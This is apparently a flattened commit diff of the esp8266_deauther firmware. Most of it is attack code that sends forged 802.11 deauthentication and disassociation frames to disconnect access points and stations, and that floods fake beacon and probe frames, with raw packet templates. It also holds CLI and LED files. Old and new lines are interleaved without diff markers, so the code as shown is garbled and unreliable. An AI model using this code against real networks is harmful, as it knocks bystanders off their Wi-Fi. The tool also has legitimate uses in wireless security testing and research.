if (deauth.tc >= nCount + stCount + apCount)
deauth.tc = 0;
// reset counter
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
}
}
}
}
void Attack::deauthAllUpdate() {
if (deauthAll && deauth.active && deauth.maxPkts > 0 && deauth.packetCounter < deauth.maxPkts) {
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
// APs
if (apCount > 0 && deauth.tc < apCount) {
tmpID = names.findID(accesspoints.getMac(deauth.tc));
if (tmpID < 0) {
deauth.tc += deauthAP(deauth.tc);
} else if (!names.getSelected(tmpID)) {
deauth.tc += deauthAP(deauth.tc);
} else deauth.tc++;
}
if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
// APs
if ((apCount > 0) && (deauth.tc < apCount)) {
tmpID = names.findID(accesspoints.getMac(deauth.tc));
// Stations
else if (stCount > 0 && deauth.tc >= apCount && deauth.tc < stCount + apCount) {
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
if (tmpID < 0) {
deauth.tc += deauthStation(deauth.tc - apCount);
} else if (!names.getSelected(tmpID)) {
deauth.tc += deauthStation(deauth.tc - apCount);
} else deauth.tc++;
}
if (tmpID < 0) {
deauth.tc += deauthAP(deauth.tc);
} else if (!names.getSelected(tmpID)) {
deauth.tc += deauthAP(deauth.tc);
} else deauth.tc++;
}
// Names
else if (nCount > 0 && deauth.tc >= apCount + stCount && deauth.tc < apCount + stCount + nCount) {
if (!names.getSelected(deauth.tc - apCount - stCount)) {
deauth.tc += deauthName(deauth.tc - apCount - stCount);
} else deauth.tc++;
}
// Stations
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
// reset counter
if (deauth.tc >= nCount + stCount + apCount)
deauth.tc = 0;
if (tmpID < 0) {
deauth.tc += deauthStation(deauth.tc - apCount);
} else if (!names.getSelected(tmpID)) {
deauth.tc += deauthStation(deauth.tc - apCount);
} else deauth.tc++;
}
// Names
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) {
if (!names.getSelected(deauth.tc - apCount - stCount)) {
deauth.tc += deauthName(deauth.tc - apCount - stCount);
} else deauth.tc++;
}
// reset counter
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
}
}
}
}
void Attack::probeUpdate() {
if (probe.active && probe.maxPkts > 0 && probe.packetCounter < probe.maxPkts) {
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
if (settings.getBeaconChannel()) setWifiChannel(probe.tc % settings.getMaxCh());
probe.tc += sendProbe(probe.tc);
if (probe.tc >= ssids.count()) probe.tc = 0;
if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(probe.tc % 11, true);
probe.tc += sendProbe(probe.tc);
if (probe.tc >= ssids.count()) probe.tc = 0;
}
}
}
}
void Attack:: beaconUpdate() {
if (beacon.active && beacon.maxPkts > 0 && beacon.packetCounter < beacon.maxPkts) {
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
beacon.tc += sendBeacon(beacon.tc);
if (beacon.tc >= ssids.count()) beacon.tc = 0;
void Attack::beaconUpdate() {
if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) {
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
beacon.tc += sendBeacon(beacon.tc);
if (beacon.tc >= ssids.count()) beacon.tc = 0;
}
}
}
}
bool Attack::deauthStation(int num) {
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getDeauthReason(), stations.getCh(num));
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings::getAttackSettings().deauth_reason, stations.getCh(num));
}
bool Attack::deauthAP(int num) {
return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num));
return deauthDevice(accesspoints.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, accesspoints.getCh(num));
}
bool Attack::deauthName(int num) {
if (names.isStation(num)) {
return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num));
} else {
return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num));
}
if (names.isStation(num)) {
return deauthDevice(names.getBssid(num), names.getMac(num), settings::getAttackSettings().deauth_reason, names.getCh(num));
} else {
return deauthDevice(names.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, names.getCh(num));
}
}
bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
if (!stMac) return false; // exit when station mac is null
if (!stMac) return false; // exit when station mac is null
//Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
bool success = false;
// Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
// build deauth packet
packetSize = sizeof(deauthPacket);
memcpy(&deauthPacket[4], stMac, 6);
memcpy(&deauthPacket[10], apMac, 6);
memcpy(&deauthPacket[16], apMac, 6);
deauthPacket[24] = reason;
bool success = false;
// send deauth frame
deauthPacket[0] = 0xc0;
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())){
success = true;
deauth.packetCounter++;
}
// send disassociate frame
deauthPacket[0] = 0xa0;
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())){
success = true;
deauth.packetCounter++;
}
// send another packet, this time from the station to the accesspoint
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
// build deauth packet
memcpy(&deauthPacket[4], apMac, 6);
memcpy(&deauthPacket[10], stMac, 6);
memcpy(&deauthPacket[16], stMac, 6);
packetSize = sizeof(deauthPacket);
uint8_t deauthpkt[packetSize];
memcpy(deauthpkt, deauthPacket, packetSize);
memcpy(&deauthpkt[4], stMac, 6);
memcpy(&deauthpkt[10], apMac, 6);
memcpy(&deauthpkt[16], apMac, 6);
deauthpkt[24] = reason;
// send deauth frame
deauthPacket[0] = 0xc0;
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())){
success = true;
deauth.packetCounter++;
deauthpkt[0] = 0xc0;
if (sendPacket(deauthpkt, packetSize, ch, true)) {
success = true;
deauth.packetCounter++;
}
// send disassociate frame
deauthPacket[0] = 0xa0;
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())){
success = true;
deauth.packetCounter++;
uint8_t disassocpkt[packetSize];
memcpy(disassocpkt, deauthpkt, packetSize);
disassocpkt[0] = 0xa0;
if (sendPacket(disassocpkt, packetSize, ch, false)) {
success = true;
deauth.packetCounter++;
}
}
if (success)
deauth.time = currentTime;
// send another packet, this time from the station to the accesspoint
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
// build deauth packet
memcpy(&disassocpkt[4], apMac, 6);
memcpy(&disassocpkt[10], stMac, 6);
memcpy(&disassocpkt[16], stMac, 6);
return success;
// send deauth frame
disassocpkt[0] = 0xc0;
if (sendPacket(disassocpkt, packetSize, ch, false)) {
success = true;
deauth.packetCounter++;
}
// send disassociate frame
disassocpkt[0] = 0xa0;
if (sendPacket(disassocpkt, packetSize, ch, false)) {
success = true;
deauth.packetCounter++;
}
}
if (success) deauth.time = currentTime;
return success;
}
bool Attack::sendBeacon(uint8_t tc) {
if (settings.getBeaconChannel()) setWifiChannel(tc % settings.getMaxCh());
mac[5] = tc;
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true);
mac[5] = tc;
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
}
bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
packetSize = sizeof(beaconPacket);
packetSize = sizeof(beaconPacket);
if (wpa2) {
beaconPacket[34] = 0x31;
} else {
beaconPacket[34] = 0x21;
packetSize -= 26;
}
if (wpa2) {
beaconPacket[34] = 0x31;
} else {
beaconPacket[34] = 0x21;
packetSize -= 26;
}
int ssidLen = strlen(ssid);
if(ssidLen > 32) ssidLen = 32;
memcpy(&beaconPacket[10], mac, 6);
memcpy(&beaconPacket[16], mac, 6);
memcpy(&beaconPacket[38], ssid, ssidLen);
beaconPacket[82] = ch;
int ssidLen = strlen(ssid);
if (sendPacket(beaconPacket, packetSize, ch, settings.getForcePackets())) {
beacon.time = currentTime;
beacon.packetCounter++;
return true;
}
return false;
if (ssidLen > 32) ssidLen = 32;
memcpy(&beaconPacket[10], mac, 6);
memcpy(&beaconPacket[16], mac, 6);
memcpy(&beaconPacket[38], ssid, ssidLen);
beaconPacket[82] = ch;
// =====
uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size
uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer
memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer
tmpPacket[37] = ssidLen; // update SSID length byte
memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
bool success = sendPacket(tmpPacket, tmpPacketSize, ch, false);
if (success) {
beacon.time = currentTime;
beacon.packetCounter++;
}
delete[] tmpPacket; // free memory of allocated buffer
return success;
// =====
}
bool Attack::sendProbe(uint8_t tc) {
if (settings.getBeaconChannel()) setWifiChannel(tc % settings.getMaxCh());
mac[5] = tc;
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true);
mac[5] = tc;
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
}
bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
packetSize = sizeof(probePacket);
int ssidLen = strlen(ssid);
if(ssidLen > 32) ssidLen = 32;
memcpy(&probePacket[10], mac, 6);
memcpy(&probePacket[26], ssid, ssidLen);
packetSize = sizeof(probePacket);
int ssidLen = strlen(ssid);
if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) {
probe.time = currentTime;
probe.packetCounter++;
return true;
}
return false;
if (ssidLen > 32) ssidLen = 32;
memcpy(&probePacket[10], mac, 6);
memcpy(&probePacket[26], ssid, ssidLen);
if (sendPacket(probePacket, packetSize, ch, false)) {
probe.time = currentTime;
probe.packetCounter++;
return true;
}
return false;
}
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries) {
//Serial.println(bytesToStr(packet, packetSize));
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch) {
// Serial.println(bytesToStr(packet, packetSize));
// set channel
setWifiChannel(ch);
// sent out packet
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
// try again until it's sent out
for (int i = 0; i < tries && !sent; i++)
sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
// set channel
setWifiChannel(ch, force_ch);
if(sent)
tmpPacketRate ++;
return sent;
// sent out packet
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
if (sent) ++tmpPacketRate;
return sent;
}
void Attack::enableOutput() {
output = true;
prntln(A_ENABLED_OUTPUT);
output = true;
prntln(A_ENABLED_OUTPUT);
}
void Attack::disableOutput() {
output = false;
prntln(A_DISABLED_OUTPUT);
output = false;
prntln(A_DISABLED_OUTPUT);
}
uint32_t Attack::getDeauthPkts() {
return deauthPkts;
return deauthPkts;
}
uint32_t Attack::getBeaconPkts() {
return beaconPkts;
return beaconPkts;
}
uint32_t Attack::getProbePkts() {
return probePkts;
return probePkts;
}
uint32_t Attack::getDeauthMaxPkts() {
return deauth.maxPkts;
return deauth.maxPkts;
}
uint32_t Attack::getBeaconMaxPkts() {
return beacon.maxPkts;
return beacon.maxPkts;
}
uint32_t Attack::getProbeMaxPkts() {
return probe.maxPkts;
return probe.maxPkts;
}
uint32_t Attack::getPacketRate(){
return packetRate;
}
uint32_t Attack::getPacketRate() {
return packetRate;
}

View File

@ -1,5 +1,6 @@
#ifndef Attack_h
#define Attack_h
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
#include <ESP8266WiFi.h>
@ -10,201 +11,194 @@ extern "C" {
#include "Accesspoints.h"
#include "Stations.h"
#include "SSIDs.h"
#include "Settings.h"
#include "Scan.h"
extern Settings settings;
extern SSIDs ssids;
extern Accesspoints accesspoints;
extern Stations stations;
extern Stations stations;
extern Scan scan;
extern uint8_t wifi_channel;
extern uint8_t broadcast[6];
extern uint8_t wifi_channel;
extern uint8_t broadcast[6];
extern uint32_t currentTime;
extern bool macBroadcast(uint8_t* mac);
extern void getRandomMac(uint8_t* mac);
extern void setOutputPower(float dBm);
extern String macToStr(uint8_t* mac);
extern String bytesToStr(uint8_t* b, uint32_t size);
extern void setWifiChannel(uint8_t ch);
extern bool writeFile(String path, String &buf);
extern int8_t free80211_send(uint8_t *buffer, uint16_t len);
extern String macToStr(const uint8_t* mac);
extern String bytesToStr(const uint8_t* b, uint32_t size);
extern void setWifiChannel(uint8_t ch, bool force);
extern bool writeFile(String path, String& buf);
extern int8_t free80211_send(uint8_t* buffer, uint16_t len);
class Attack {
public:
Attack();
void start();
void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout);
void stop();
void update();
public:
Attack();
void enableOutput();
void disableOutput();
void status();
String getStatusJSON();
bool deauthAP(int num);
bool deauthStation(int num);
bool deauthName(int num);
bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch);
bool sendBeacon(uint8_t tc);
bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2);
bool sendProbe(uint8_t tc);
bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch);
void start();
void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout);
void stop();
void update();
bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries);
bool isRunning();
void enableOutput();
void disableOutput();
void status();
String getStatusJSON();
uint32_t getDeauthPkts();
uint32_t getBeaconPkts();
uint32_t getProbePkts();
uint32_t getDeauthMaxPkts();
uint32_t getBeaconMaxPkts();
uint32_t getProbeMaxPkts();
uint32_t getPacketRate();
private:
void deauthUpdate();
void deauthAllUpdate();
void beaconUpdate();
void probeUpdate();
bool deauthAP(int num);
bool deauthStation(int num);
bool deauthName(int num);
bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch);
void updateCounter();
bool running = false;
bool output = true;
bool sendBeacon(uint8_t tc);
bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2);
struct AttackType{
bool active = false; // if attack is activated
uint16_t packetCounter = 0; // how many packets are sent per second
uint16_t maxPkts = 0; // how many packets should be sent per second
uint8_t tc = 0; // target counter, i.e. which AP or SSID
uint32_t time = 0; // time last packet was sent
};
bool sendProbe(uint8_t tc);
bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch);
AttackType deauth;
AttackType beacon;
AttackType probe;
bool deauthAll = false;
bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch);
uint32_t deauthPkts = 0;
uint32_t beaconPkts = 0;
uint32_t probePkts = 0;
bool isRunning();
uint32_t tmpPacketRate = 0;
uint32_t packetRate = 0;
uint32_t getDeauthPkts();
uint32_t getBeaconPkts();
uint32_t getProbePkts();
uint32_t getDeauthMaxPkts();
uint32_t getBeaconMaxPkts();
uint32_t getProbeMaxPkts();
uint8_t apCount = 0;
uint8_t stCount = 0;
uint8_t nCount = 0;
int8_t tmpID = -1;
uint32_t getPacketRate();
uint16_t packetSize = 0;
uint32_t attackTime = 0; // for counting how many packets per second
uint32_t attackStartTime = 0;
uint32_t timeout = 0;
// random mac address for making the beacon packets
uint8_t mac[6] = {0xAA,0xBB,0xCC,0x00,0x11,0x22};
uint8_t deauthPacket[26] = {
/* 0 - 1 */ 0xC0, 0x00, //type, subtype c0: deauth (a0: disassociate)
/* 2 - 3 */ 0x00, 0x00, //duration (SDK takes care of that)
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,//reciever (target)
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //source (ap)
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //BSSID (ap)
/* 22 - 23 */ 0x00, 0x00, //fragment & squence number
/* 24 - 25 */ 0x01, 0x00 //reason code (1 = unspecified reason)
};
private:
void deauthUpdate();
void deauthAllUpdate();
void beaconUpdate();
void probeUpdate();
uint8_t probePacket[68] = {
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
/* 58 - 59 */ 0x01, 0x04, //Tag Number: Supported Rates (1), Tag length: 4
/* 60 */ 0x82, // 1(B)
/* 61 */ 0x84, // 2(B)
/* 62 */ 0x8b, // 5.5(B)
/* 63 */ 0x96, // 11(B)
/* 64 */ 0x24, // 18
/* 65 */ 0x30, // 24
/* 66 */ 0x48, // 36
/* 67 */ 0x6c // 54
};
uint8_t beaconPacket[109] = {
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
void updateCounter();
// Fixed parameters
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
/* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
// Tagged parameters
bool running = false;
bool output = true;
// SSID parameters
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, // SSID
struct AttackType {
bool active = false; // if attack is activated
uint16_t packetCounter = 0; // how many packets are sent per second
uint16_t maxPkts = 0; // how many packets should be sent per second
uint8_t tc = 0; // target counter, i.e. which AP or SSID
uint32_t time = 0; // time last packet was sent
};
// Supported Rates
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
/* 72 */ 0x82, // 1(B)
/* 73 */ 0x84, // 2(B)
/* 74 */ 0x8b, // 5.5(B)
/* 75 */ 0x96, // 11(B)
/* 76 */ 0x24, // 18
/* 77 */ 0x30, // 24
/* 78 */ 0x48, // 36
/* 79 */ 0x6c, // 54
// Current Channel
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
/* 82 */ 0x01, // Current Channel
// RSN information
/* 83 - 84 */ 0x30, 0x18,
/* 85 - 86 */ 0x01, 0x00,
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
/* 91 - 92 */ 0x02, 0x00,
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x02,
/* 101 - 102 */ 0x01, 0x00,
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
/* 107 - 108 */ 0x00, 0x00
};
};
AttackType deauth;
AttackType beacon;
AttackType probe;
bool deauthAll = false;
#endif
uint32_t deauthPkts = 0;
uint32_t beaconPkts = 0;
uint32_t probePkts = 0;
uint32_t tmpPacketRate = 0;
uint32_t packetRate = 0;
uint8_t apCount = 0;
uint8_t stCount = 0;
uint8_t nCount = 0;
int8_t tmpID = -1;
uint16_t packetSize = 0;
uint32_t attackTime = 0; // for counting how many packets per second
uint32_t attackStartTime = 0;
uint32_t timeout = 0;
// random mac address for making the beacon packets
uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 };
uint8_t deauthPacket[26] = {
/* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
/* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that)
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
/* 22 - 23 */ 0x00, 0x00, // fragment & squence number
/* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason)
};
uint8_t probePacket[68] = {
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
/* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8
/* 60 */ 0x82, // 1(B)
/* 61 */ 0x84, // 2(B)
/* 62 */ 0x8b, // 5.5(B)
/* 63 */ 0x96, // 11(B)
/* 64 */ 0x24, // 18
/* 65 */ 0x30, // 24
/* 66 */ 0x48, // 36
/* 67 */ 0x6c // 54
};
uint8_t beaconPacket[109] = {
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
// Fixed parameters
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
/* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
// Tagged parameters
// SSID parameters
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, // SSID
// Supported Rates
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
/* 72 */ 0x82, // 1(B)
/* 73 */ 0x84, // 2(B)
/* 74 */ 0x8b, // 5.5(B)
/* 75 */ 0x96, // 11(B)
/* 76 */ 0x24, // 18
/* 77 */ 0x30, // 24
/* 78 */ 0x48, // 36
/* 79 */ 0x6c, // 54
// Current Channel
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
/* 82 */ 0x01, // Current Channel
// RSN information
/* 83 - 84 */ 0x30, 0x18,
/* 85 - 86 */ 0x01, 0x00,
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
/* 91 - 92 */ 0x02, 0x00,
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/
/* 101 - 102 */ 0x01, 0x00,
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
/* 107 - 108 */ 0x00, 0x00
};
};

1280
esp8266_deauther/CLI.cpp Normal file

File diff suppressed because it is too large Load Diff

89
esp8266_deauther/CLI.h Normal file
View File

@ -0,0 +1,89 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
#include "language.h"
#include "A_config.h"
#include "SimpleList.h"
#include "Names.h"
#include "SSIDs.h"
#include "Scan.h"
#include "Attack.h"
#include "DisplayUI.h"
#include "led.h"
extern Names names;
extern SSIDs ssids;
extern Accesspoints accesspoints;
extern Stations stations;
extern Scan scan;
extern Attack attack;
extern DisplayUI displayUI;
extern uint32_t currentTime;
extern uint32_t autosaveTime;
extern String macToStr(const uint8_t* mac);
extern bool strToMac(String macStr, uint8_t* mac);
extern bool strToIP(String ipStr, uint8_t* ip);
extern void strToColor(String str, uint8_t* buf);
extern void readFileToSerial(String path, bool showLineNum);
extern bool readFile(String path, String& buf);
extern bool removeFile(String path);
extern bool copyFile(String pathFrom, String pathTo);
extern bool renameFile(String pathFrom, String pathTo);
extern bool appendFile(String path, String& buf);
extern bool removeLines(String path, int lineFrom, int lineTo);
extern bool replaceLine(String path, int line, String& buf);
extern bool equalsKeyword(const char* str, const char* keyword);
class CLI {
public:
CLI();
~CLI();
void load();
void load(String filepath);
void enable();
void disable();
void update();
void stop();
void enableDelay(uint32_t delayTime);
void exec(String input);
void execFile(String path);
void runLine(String input);
void runCommand(String input);
private:
bool enabled = false;
SimpleList<String>* list;
SimpleList<String>* queue;
bool delayed = false;
uint32_t delayTime = 0;
uint32_t delayStartTime = 0;
String execPath = "/autostart.txt";
struct Keyword {
const char* name;
const char* shortName;
const char* alt;
};
void error(String message);
void parameterError(String parameter);
bool isInt(String str);
int toInt(String str);
uint32_t getTime(String time);
bool eqlsCMD(int i, const char* keyword);
};

View File

@ -1,111 +0,0 @@
#include "DigitalLed.h"
DigitalLed::DigitalLed() {
}
// setup pins
void DigitalLed::setup(){
if(!settings.getLedEnabled()) return;
// ===== adjustable ===== //
if(LED_ENABLE_R) pinMode(LED_PIN_R, OUTPUT);
if(LED_ENABLE_G) pinMode(LED_PIN_G, OUTPUT);
if(LED_ENABLE_B) pinMode(LED_PIN_B, OUTPUT);
// ====================== //
setMode(LED_MODE_OFF, true);
}
void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
// debug output
if (output){
char s[30];
sprintf(s,str(L_OUTPUT_A).c_str(), r, g, b);
prnt(String(s));
}
// ===== adjustable ===== //
if(LED_CATHODE){
r = r>0;
g = g>0;
b = b>0;
}else{
r = !(r>0);
g = !(g>0);
b = !(b>0);
}
if(LED_ENABLE_R) digitalWrite(LED_PIN_R, r);
if(LED_ENABLE_G) digitalWrite(LED_PIN_G, g);
if(LED_ENABLE_B) digitalWrite(LED_PIN_B, b);
// ====================== //
// debug output
if (output){
char s[30];
sprintf(s,str(L_OUTPUT_B).c_str(), r?255:0, g?255:0, b?255:0);
prnt(String(s));
}
}
// customize color codes for different LED modes
void DigitalLed::setMode(uint8_t mode, bool force) {
// ===== adjustable ===== //
if (mode != DigitalLed::mode || force) {
DigitalLed::mode = mode;
switch (mode) {
case LED_MODE_OFF:
setColor(0, 0, 0, 100, false);
break;
case LED_MODE_SCAN:
setColor(0, 0, 255, 100, false);
break;
case LED_MODE_ATTACK:
setColor(255, 255, 0, 100, false);
break;
case LED_MODE_DEAUTH:
setColor(255, 0, 0, 100, false);
break;
case LED_MODE_IDLE:
setColor(0, 255, 0, 100, false);
break;
}
}
// ====================== //
}
void DigitalLed::tempEnable() {
tempEnabled = true;
prntln(L_ENABLED);
}
void DigitalLed::tempDisable() {
tempEnabled = false;
prntln(L_DISABLED);
}
bool DigitalLed::getTempEnabled() {
return tempEnabled;
}
void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b) {
setColor(r, g, b, 100, true);
}
void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness) {
